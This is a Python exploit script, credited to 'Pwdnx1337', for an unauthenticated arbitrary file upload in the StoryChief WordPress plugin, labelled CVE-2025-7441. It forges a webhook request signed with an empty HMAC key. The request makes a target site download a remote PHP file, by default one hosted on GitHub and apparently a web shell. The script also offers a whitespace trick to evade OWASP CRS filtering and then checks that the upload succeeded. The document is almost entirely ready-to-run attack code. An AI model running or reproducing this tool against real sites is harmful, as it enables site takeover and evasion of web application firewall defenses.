StoryChief WordPress Plugin Unauthenticated Arbitrary File Upload via Webhook (CVE-2025-7441)

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#!/usr/bin/env python3
"""
CVE-2025-7441 By Pwdnx1337
"""

from datetime import datetime
import requests
import json
import hmac
import hashlib
import urllib3
import sys
import time
import os
import subprocess
import shlex
import urllib.parse
import argparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
DEFAULT_FILE_URL = "https://raw.githubusercontent.com/AnotherSec/ZIP/refs/heads/main/ZIP.php"

def banner():
    print(r"""
  _______          _______  _   ___   ____ ____ ____ ______
 |  __ \ \        / /  __ \| \ | \ \ / /_ |___ \___ \____  |
 | |__) \ \  /\  / /| |  | |  \| |\ V / | | __) |__) |  / /
 |  ___/ \ \/  \/ / | |  | | . ` | > <  | ||__ <|__ <  / /
 | |      \  /\  /  | |__| | |\  |/ . \ | |___) |__) |/ /
 |_|       \/  \/   |_____/|_| \_/_/ \_\|_|____/____//_/
    """)

def make_payload(file_url):
    dummy = {
        "meta": {
            "event": "publish"
        },
        "data": {
            "featured_image": {
                "data": {
                    "sizes": {
                        "full": file_url
                    }
                }
            }
        }
    }
    return dummy

def compute_hmac_over_json(payload_obj, key=b""):
    json_string = json.dumps(payload_obj, separators=(',', ':'), ensure_ascii=True)
    
    json_escaped = json_string.replace("/", "\\/").encode()
    signature = hmac.new(key, json_escaped, digestmod=hashlib.sha256).hexdigest()
    return signature, json_escaped

def send_post_requests(endpoint, payload_json, headers, timeout=8, verify=False, verbose=False):
    try:
        if verbose:
            print("[*] Sending POST via requests...")
        resp = requests.post(endpoint, headers=headers, data=payload_json, timeout=timeout, verify=verify)
        if verbose:
            print(f"[*] POST status: {resp.status_code}")
            
            body = (resp.text or "")[:500]
            if body:
                print("[*] Response body (truncated):")
                print(body)
        return True, resp
    except requests.RequestException as e:
        if verbose:
            print(f"[!] requests POST failed: {e}")
        return False, None

def send_post_curl(endpoint, payload_json, headers, timeout=8, verify=False, verbose=False):
    
    cmd = ["curl", "-s", "-X", "POST", endpoint, "-H", "Content-Type: application/json", "-d", payload_json, "--max-time", str(int(timeout))]
    if not verify:
        cmd.append("-k")
    for k, v in headers.items():
        if k.lower() == "content-type":
            continue
        cmd += ["-H", f"{k}: {v}"]
    if verbose:
        print("[*] Running curl command:", " ".join(shlex.quote(x) for x in cmd))
    try:
        proc = subprocess.run(cmd, capture_output=True, text=True)
        out = proc.stdout
        err = proc.stderr
        if verbose:
            print(f"[*] curl returncode: {proc.returncode}")
            if out:
                print("[*] curl stdout (truncated):")
                print(out[:1000])
            if err:
                print("[*] curl stderr (truncated):")
                print(err[:1000])
        return True, proc.returncode, out, err
    except Exception as e:
        if verbose:
            print(f"[!] curl execution failed: {e}")
        return False, None, None, None

def check_uploaded_path(base_site, file_url, retries=1, delay=2, timeout=8, verify=False, verbose=False):
    
    file_name = os.path.basename(urllib.parse.urlparse(file_url).path) or None
    if not file_name:
        if verbose:
            print("[!] Could not determine filename from file_url")
        return False, None
    now = datetime.now()
    year = now.year
    month = str(now.month).zfill(2)
    uploaded_path = f"{base_site}/wp-content/uploads/{year}/{month}/{file_name}"
    for attempt in range(1, retries + 1):
        if verbose:
            print(f"[*] Checking ({attempt}/{retries}): {uploaded_path}")
        try:
            r = requests.get(uploaded_path, timeout=timeout, verify=verify)
            if r.status_code == 200:
                return True, uploaded_path
        except requests.RequestException as e:
            if verbose:
                print(f"[!] Error when checking uploaded path: {e}")
        if attempt < retries:
            time.sleep(delay)
    return False, uploaded_path

def main():
    banner()

    parser = argparse.ArgumentParser(description="CVE-2025-7441 PoC BY PWDNX1337")
    parser.add_argument("site_url", help="Base site URL, e.g. http://127.0.0.1:5000/")
    parser.add_argument("--file-url", dest="file_url", default=DEFAULT_FILE_URL, help="Remote file URL to instruct the target to fetch (overrides default)")
    parser.add_argument("--verbose", dest="verbose", action="store_true", help="Verbose output")
    parser.add_argument("--use-curl", dest="use_curl", action="store_true", help="Use curl subprocess to deliver POST (fallback)")
    parser.add_argument("--retries", dest="retries", type=int, default=1, help="Number of checks for uploaded file (default 1)")
    parser.add_argument("--bypass-with-cve-2026-33691", dest="bypass_cve_2026_33691", action="store_true", default=False, help="Bypass OWASP CRS using whitespace padding (CVE-2026-33691)")
    args = parser.parse_args()

    base_site = args.site_url.rstrip('/')
    file_url = args.file_url

    if args.bypass_cve_2026_33691:
        if args.verbose:
            print("[*] Applying CVE-2026-33691 bypass (whitespace padding)...")
        parsed = urllib.parse.urlparse(file_url)
        path = parsed.path
        if '.' in path:
            dir_part, filename = os.path.split(path)
            if '.' in filename:
                name, ext = filename.rsplit('.', 1)
                # CVE-2026-33691: inserting whitespace padding (e.g. photo. php)
                new_filename = f"{name}. {ext}"
                new_path = os.path.join(dir_part, new_filename)
                file_url = urllib.parse.urlunparse(parsed._replace(path=new_path))

    verbose = args.verbose
    use_curl = args.use_curl
    retries = max(1, args.retries)

    if verbose:
        print(f"[*] Target: {base_site}")
        print(f"[*] file_url: {file_url}")
        print(f"[*] retries: {retries}")
        print(f"[*] use_curl: {use_curl}")

    payload_obj = make_payload(file_url)
    signature, json_escaped = compute_hmac_over_json(payload_obj, key=b"")
    payload_obj["meta"]["mac"] = signature
    payload_json = json.dumps(payload_obj)

    print("[+] computed hmac :", signature)
    
    endpoint = base_site + "/wp-json/storychief/webhook"
    headers = {"Content-Type": "application/json"}

    if args.use_curl:
        ok, retcode, out, err = send_post_curl(endpoint, payload_json, headers, timeout=8, verify=False, verbose=verbose)
        if not ok:
            if verbose:
                print("[!] curl delivery failed, falling back to requests...")
            ok2, resp = send_post_requests(endpoint, payload_json, headers, timeout=8, verify=False, verbose=verbose)
            if not ok2:
                if verbose:
                    print("[!] requests delivery also failed.")
        else:
            
            if verbose:
                try:
                    _ = json.loads(out)
                    if verbose:
                        print("[*] curl returned JSON response (interpretable).")
                except Exception:
                    if verbose:
                        print("[*] curl stdout not JSON or empty.")
    else:
        ok, resp = send_post_requests(endpoint, payload_json, headers, timeout=8, verify=False, verbose=verbose)
        if not ok:
            if verbose:
                print("[!] POST failed via requests.")
              
    ok_file, uploaded_path = check_uploaded_path(base_site, file_url, retries=retries, delay=2, timeout=8, verify=False, verbose=verbose)
    if ok_file:
        print("[+] success! [+]")
        print(uploaded_path)
    else:
        print("<failed to upload>")

if __name__ == "__main__":
    main()